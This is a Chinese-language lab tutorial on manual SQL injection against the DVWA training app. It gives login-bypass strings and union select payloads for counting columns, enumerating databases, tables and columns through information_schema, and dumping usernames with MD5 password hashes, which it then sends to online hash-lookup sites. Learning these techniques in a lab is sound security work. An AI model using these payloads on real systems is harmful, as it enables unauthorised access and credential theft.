兩要素
- 用戶能夠控制輸入的內(nèi)容
- web應用把用戶輸入的內(nèi)容，在沒有經(jīng)過過濾或者嚴格過濾的情況下帶入到數(shù)據(jù)庫中執(zhí)行
分類
- GET和POST
- 整數(shù)型，字符型，搜索型
萬能密碼
’1 or 1 = 1#
1 or 1 = 1#
注釋符：
-
--(后面有空格） --+%23
注入流程：
- 判斷是否有注入信息
- 獲取數(shù)據(jù)庫基本信息
- 獲取數(shù)據(jù)庫名
- 獲取表名
- 獲取列名
- 獲取用戶數(shù)據(jù)
- 破解加密數(shù)據(jù)
- 提權(quán)
- 內(nèi)網(wǎng)滲透
判斷是否存在注入，判斷注入類型-第一步
1 or 1 = 1#
1' or 1 = 1#
注：
get傳參方式中大概率存在url編碼
%20-->空格
%23--> 井號
%3d-->等號
加號可以代替空格
union select 注入-第二步
1' order by 1 --
1' order by 2 --
1' or 1 = 1 order by n --
判斷列數(shù)可以使用二分法
假如只有兩列，order by 3，那么就會報錯-->用于判斷列數(shù)
union：聯(lián)合，合并。將多條查詢語句的結(jié)果合并成一個結(jié)果
要求：
- 多條查詢語句的查詢列數(shù)是一致的
- union關(guān)鍵字默認去重，如果使用union all可以包含重復項
union聯(lián)合注入-第三步
獲取數(shù)據(jù)庫中的信息：判斷顯示位
1' union select 1,2--
這里使用-1使union之前的語句查詢無結(jié)果，則顯示的時候就會顯示union之后的第二條語句
DVWA:
ID: 1' union select 1,2 #
First name: admin
Surname: admin
ID: 1' union select 1,2 #
First name: 1 #顯示位1
Surname: 2 #顯示位2
union聯(lián)合注入-第四步
獲取數(shù)據(jù)庫中的信息：用戶、版本、數(shù)據(jù)庫名
1' union select version(),user()#
常用函數(shù)：
user（）返回當前使用數(shù)據(jù)庫的用戶
version（）返回當前數(shù)據(jù)庫版本
database（）返回當前使用的數(shù)據(jù)庫版本
DVWA
1' union select database(),user()#
ID: 1' union select database(),user()#
First name: admin
Surname: admin
ID: 1' union select database(),user()#
First name: dvwa #數(shù)據(jù)庫名
Surname: root@localhost #用戶名
union聯(lián)合注入-第五步
獲取數(shù)據(jù)庫信息：
- SCHEMATA表：當前MYsql中所有數(shù)據(jù)庫的信息。show databases命令：命令從這個表獲取數(shù)據(jù)
- TABALES表：存儲數(shù)據(jù)庫中的表信息（包括視圖），包括表屬于哪個數(shù)據(jù)庫，表的類型，存儲引擎，創(chuàng)建時間等信息。show tables from database命令：從這個表獲取結(jié)果
- COLUMNS表：存儲表中的列信息，包括表有多少列，每個列的類型等。show columns from tablename命令，從這個表獲取結(jié)果
mysql中的user表中有兩列：user，password兩列中存在登錄數(shù)據(jù)庫的用戶名和密碼
查詢庫名
1' union select 1,schema_name from information_schema.schemata
# 查詢information_schema庫中的schemeta表
DVWA
ID: 1' union select 1,schema_name from information_schema.schemata#
First name: admin
Surname: admin
ID: 1' union select 1,schema_name from information_schema.schemata#
First name: 1
Surname: information_schema
ID: 1' union select 1,schema_name from information_schema.schemata#
First name: 1
Surname: challenges
ID: 1' union select 1,schema_name from information_schema.schemata#
First name: 1
Surname: dvwa
ID: 1' union select 1,schema_name from information_schema.schemata#
First name: 1
Surname: mysql
ID: 1' union select 1,schema_name from information_schema.schemata#
First name: 1
Surname: performance_schema
ID: 1' union select 1,schema_name from information_schema.schemata#
First name: 1
Surname: security
ID: 1' union select 1,schema_name from information_schema.schemata#
First name: 1
Surname: test
查詢表名
1' union select 1,table_name from information_schema.tables where table_schema = database()#
這一步可以跳過庫查詢
1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa'#
DVWA
ID: 1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa'#
First name: admin
Surname: admin
ID: 1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa'#
First name: 1
Surname: guestbook
ID: 1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa'#
First name: 1
Surname: users
查詢列名
1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = database() #
DVWA
ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
First name: admin
Surname: admin
ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
First name: 1
Surname: user_id
ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
First name: 1
Surname: first_name
ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
First name: 1
Surname: last_name
ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
First name: 1
Surname: user
ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
First name: 1
Surname: password
ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
First name: 1
Surname: avatar
ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
First name: 1
Surname: last_login
ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #
First name: 1
Surname: failed_login
查詢數(shù)據(jù)（利用列名、表名）
1' union select user,password from users #
DVWA
ID: 1' union select user,password from users #
First name: admin
Surname: admin
ID: 1' union select user,password from users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' union select user,password from users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1' union select user,password from users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' union select user,password from users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' union select user,password from users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
union聯(lián)合注入
字符串拼接
常用函數(shù)：
concat()：將多個字符連接成一個字符串拼接
select concat('M','y','S','Q','L')
concat_ws()：將多個字符串連接成一個字符串，但可以指定分隔符
select concat_ws('_','M','y','S','Q','L')
group_concat()：將多行結(jié)果連在一起
select group_concat(user)from user;
DVWA文章來源：http://www.zghlxwxcb.cn/news/detail-825174.html
ID: 1' union select 1,concat_ws('_',user,password) from users #
First name: admin
Surname: admin
ID: 1' union select 1,concat_ws('_',user,password) from users #
First name: 1
Surname: admin_5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' union select 1,concat_ws('_',user,password) from users #
First name: 1
Surname: gordonb_e99a18c428cb38d5f260853678922e03
ID: 1' union select 1,concat_ws('_',user,password) from users #
First name: 1
Surname: 1337_8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' union select 1,concat_ws('_',user,password) from users #
First name: 1
Surname: pablo_0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' union select 1,concat_ws('_',user,password) from users #
First name: 1
Surname: smithy_5f4dcc3b5aa765d61d8327deb882cf99
解密-第六步
https://cmd5.com/
https://www.somd5.com/
數(shù)據(jù)庫自己的賬號密碼加密是mysql5的加密方式文章來源地址http://www.zghlxwxcb.cn/news/detail-825174.html
到了這里，關(guān)于SQL手工注入的文章就介紹完了。如果您還想了解更多內(nèi)容，請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！
